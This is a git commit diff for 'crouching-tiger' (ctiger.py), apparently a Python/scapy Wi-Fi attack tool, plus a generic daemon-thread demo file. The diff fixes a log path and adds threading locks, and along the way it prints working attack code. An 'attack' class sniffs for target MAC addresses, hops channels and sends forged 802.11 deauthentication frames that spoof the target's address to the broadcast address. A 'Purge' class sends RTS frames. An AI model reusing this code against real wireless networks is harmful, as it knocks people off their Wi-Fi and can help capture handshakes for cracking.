corrected log file path & fixed threading context managers

This commit is contained in:
anoduck 2024-01-26 13:14:01 -05:00
parent 32eca30e62
commit 757fa0b5fd
2 changed files with 110 additions and 59 deletions

128
ctiger.py
View file

@ -10,13 +10,9 @@ Created on Fri Jul 21 17:05:07 2023
import os
import sys
import argparse
from scapy.sendrecv import sniff
from scapy.sendrecv import AsyncSniffer
from scapy.sendrecv import sendp
from scapy.sendrecv import srp1
from scapy.layers.dot11 import Dot11Beacon
from scapy.layers.dot11 import Dot11
from scapy.layers.dot11 import Dot11Elt
from scapy.layers.dot11 import RadioTap
from scapy.layers.dot11 import Dot11Deauth
from scapy.layers.dot11 import Dot11FCS
@ -35,12 +31,13 @@ import pandas as pd
import signal
from time import sleep
import logging
sys.path.append(os.path.expanduser('~/.cache/pypoetry/virtualenvs/crouching-tiger-PCIv_4zN-py3.11/lib/python3.11/site-packages'))
sys.path.append(os.path.expanduser(
'~/.cache/pypoetry/virtualenvs/crouching-tiger-PCIv_4zN-py3.11/lib/python3.11/site-packages'))
# _ _ _ ____ ___ _ ___ _ ___ ___
# \ ( ) / )_\ / _ \ )_ _( )_\ \ _) ) | ) __( ( _(
# )\_/( /( )\ ) ' / _| |_ /( )\ | ( | (__ | _) _) \
# \_/ )_/ \_(|_()_\ )_____()_/ \_(/__o) )____( )___( )____)
# \_/ )_/ \_(|_()_\ )_____()_/ \_(/__o) )____( )___( )____)
# ------------------------------------------------------------
config_file = os.path.abspath("/etc/ctiger/config.ini")
pc = Counter()
@ -51,7 +48,7 @@ pc = Counter()
fake = Faker()
# fake.add_provider(WifiESSID)
VERSION = "0.4.0"
VERSION = "0.4.1"
# ------------------------------------------------------------
# ██████╗███████╗ ██████╗ ███████╗██████╗ ███████╗ ██████╗
@ -126,7 +123,8 @@ class NetDev:
def create_if(self, interface, mon_crtd, macaddr) -> bool:
try:
os.system(f'ip link set {self.interface} up')
os.system(f'iw dev {self.interface} interface add {self.mon_crtd} type monitor')
os.system(
f'iw dev {self.interface} interface add {self.mon_crtd} type monitor')
log.debug('Created {0}'.format(self.mon_crtd))
os.system(f'ip link set {self.mon_crtd} down')
os.system(f'ip link set {self.mon_crtd} address {self.macaddr}')
@ -156,7 +154,8 @@ class NetDev:
log.debug('{0} switched to monitor'.format(self.interface))
os.system(f'ip link set {self.interface} up')
scapyconfig.iface = self.interface
log.info('Set scapy config self.name to: {0}'.format(self.interface))
log.info('Set scapy config self.name to: {0}'.format(
self.interface))
log.info('Device is fully configured and up')
return True
except os.error as e:
@ -226,7 +225,7 @@ class Purge(object):
os.system(f'iw dev {self.mon_if} set channel {str(ichan)}')
log.debug('Channel set to {0}'.format(ichan))
def channel_runner(self, mon_if, channels) -> None:
def channel_runner(self, mon_if, channels, lock) -> None:
self.mon_if = mon_if
self.channels = channels
log.info('Channel Runner NG started.')
@ -238,9 +237,10 @@ class Purge(object):
thread = threading.current_thread()
print(f'name={thread.name}, daemon={thread.daemon}')
while True:
ichan = choice(chans)
with threading.Timer(14.7, chan_hop, args=(mon_if, ichan)) as timer:
timer.start()
with lock:
ichan = choice(chans)
with threading.Timer(14.7, chan_hop, args=(mon_if, ichan)) as timer:
timer.start()
def send_pkt(self, bssid) -> None:
self.bssid = bssid
@ -254,7 +254,8 @@ class Purge(object):
addr1=bssid,
addr2=macaddr,
ID=durid)
log.debug('Sending RTS frame to {0} with type 1 and subtype 11'.format(bssid))
log.debug(
'Sending RTS frame to {0} with type 1 and subtype 11'.format(bssid))
sendp(new_pkt, verbose=0)
return
@ -326,13 +327,14 @@ class Purge(object):
iface=mon_if, prn=self.cts_prn,
monitor=True)
cts_sniff.start()
with threading.Thread(target=self.channel_runner,
args=(self.mon_if,
self.channels)) as channel_thread:
channel_thread.start()
log.info('Channel runner started.')
log.info('Probe sniffer started')
log.info('CTS sniffer started')
lock = threading.Lock()
channel_thread = threading.Thread(target=self.channel_runner,
args=(self.mon_if,
self.channels, lock))
channel_thread.start()
log.info('Channel runner started.')
log.info('Probe sniffer started')
log.info('CTS sniffer started')
def start_purge(interface, mon_type, valid_file, channels) -> None:
@ -378,22 +380,24 @@ class attack:
hndshk_frag = 0
return True
def feed_gather(self, mon_dev, targ):
def feed_gather(self, mon_dev, targ, lock):
while True:
fg_asf = AsyncSniffer(stop_filter=self.sniff_stop,
iface=mon_dev, monitor=True)
log.info('Starting pkt gather')
fg_asf.start()
# log.info('Setting mon_dev channel to ', channel)
pkt = RadioTap()/Dot11(type=0, subtype=4,
addr1="ff:ff:ff:ff:ff:ff",
addr2=targ, addr3=targ)/Dot11Deauth()
log.debug('sending deauth to ', targ, ' with type 4')
sendp(pkt, iface=mon_dev, verbose=0)
pkt = RadioTap()/Dot11(type=0, subtype=12,
addr1="ff:ff:ff:ff:ff:ff", addr2=targ, addr3=targ)/Dot11Deauth()
log.debug('sending deauth to ', targ, ' with type 12')
sendp(pkt, iface=mon_dev, verbose=0)
with lock:
fg_asf = AsyncSniffer(stop_filter=self.sniff_stop,
iface=mon_dev, monitor=True)
log.info('Starting pkt gather')
fg_asf.start()
# log.info('Setting mon_dev channel to ', channel)
pkt = RadioTap()/Dot11(type=0, subtype=4,
addr1="ff:ff:ff:ff:ff:ff",
addr2=targ, addr3=targ)/Dot11Deauth()
log.debug('sending deauth to ', targ, ' with type 4')
sendp(pkt, iface=mon_dev, verbose=0)
pkt = RadioTap()/Dot11(type=0, subtype=12,
addr1="ff:ff:ff:ff:ff:ff", addr2=targ,
addr3=targ)/Dot11Deauth()
log.debug('sending deauth to ', targ, ' with type 12')
sendp(pkt, iface=mon_dev, verbose=0)
def grab_macs(self, pkt):
if pkt.haslayer(Dot11):
@ -402,18 +406,19 @@ class attack:
log.debug('mac: ', pkt.addr2)
return pkt.addr2
def chan_hopper(self, mon_dev, channels):
def chan_hopper(self, mon_dev, channels, lock):
log.info('Channel hopper started.')
chlist = list(set(channels))
chlist.sort()
chlist.remove(',')
chans = [int(chan) for chan in chlist]
while True:
ichan = choice(chans)
iw_cmd = 'iw dev ' + mon_dev + ' set channel ' + str(ichan)
os.system(iw_cmd)
log.debug('Channel set to ', str(ichan))
sleep(14.7)
with lock:
ichan = choice(chans)
iw_cmd = 'iw dev ' + mon_dev + ' set channel ' + str(ichan)
os.system(iw_cmd)
log.debug('Channel set to ', str(ichan))
sleep(14.7)
# return ichan
def attack(self, mon_dev, scan_file):
@ -433,18 +438,22 @@ class attack:
monitor=True, store=False)
asniff.start()
log.info('Starting channel hopper')
lock = threading.Lock()
while True:
with threading.Thread(target=self.chan_hopper,
args=(mon_dev, channels)) as ch_thread:
ch_thread.start()
if asniff.results is not None:
with asniff.results() as ares:
for row in ares:
if row[1] in targets:
log.info('Found target: ', row[1])
with threading.Thread(target=self.feed_gather,
args=(mon_dev, row)) as fg_thread:
fg_thread.start()
ch_thread = threading.Thread(target=self.chan_hopper,
name='chopper',
args=(mon_dev, channels, lock))
ch_thread.start()
if asniff.results is not None:
with asniff.results() as ares:
for row in ares:
if row[1] in targets:
log.info('Found target: ', row[1])
fg_thread = threading.Thread(
target=self.feed_gather,
name='feeder',
args=(mon_dev, row, lock))
fg_thread.start()
def start_attack(mondev, scan_file, log):
@ -513,14 +522,14 @@ def rotate_logfile(logfile):
os.remove(logfile)
def get_log(log_file):
def get_log(log_file, log_level):
log = log_file
lev = 'debug'
rot = True
if not os.path.exists(log):
open(log, 'a').close()
if not os.path.exists(log_file):
open(log_file, 'a').close()
if rot:
rotate_logfile(log)
rotate_logfile(log_file)
log = logging.getLogger(__name__)
if log.hasHandlers():
log.handlers.clear()
@ -528,8 +537,9 @@ def get_log(log_file):
log.setLevel(logging.INFO)
elif lev == 'debug':
log.setLevel(logging.DEBUG)
handler = logging.FileHandler(log, mode='a', encoding='utf-8')
formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
handler = logging.FileHandler(log_file, mode='a', encoding='utf-8')
formatter = logging.Formatter(
'%(asctime)s - %(levelname)s - %(message)s')
handler.setFormatter(formatter)
log.addHandler(handler)
log.info('started motion detection')

41
daemon-test.py Normal file
View file

@ -0,0 +1,41 @@
# -*- coding: utf-8 -*-
# SuperFastPython.com
# example of a long-running daemon thread
from time import sleep
from random import random
from threading import Thread
# long-running background task
def background_task():
global data
# record the last seen value
last_seen = data
# run forever
while True:
# check for change
if data != last_seen:
# report the change
print(f'Monitor: data has changed to {data}')
# update last seen
last_seen = data
# block for a while
sleep(0.1)
# global data
data = 0
# create and start the daemon thread
print('Starting background task...')
daemon = Thread(target=background_task, daemon=True, name='Monitor')
daemon.start()
# main thread is carrying on...
print('Main thread is carrying on...')
for _ in range(5):
# block for a while
value = random() * 5
sleep(value)
# update the data variable
data = value
print('Main thread done.')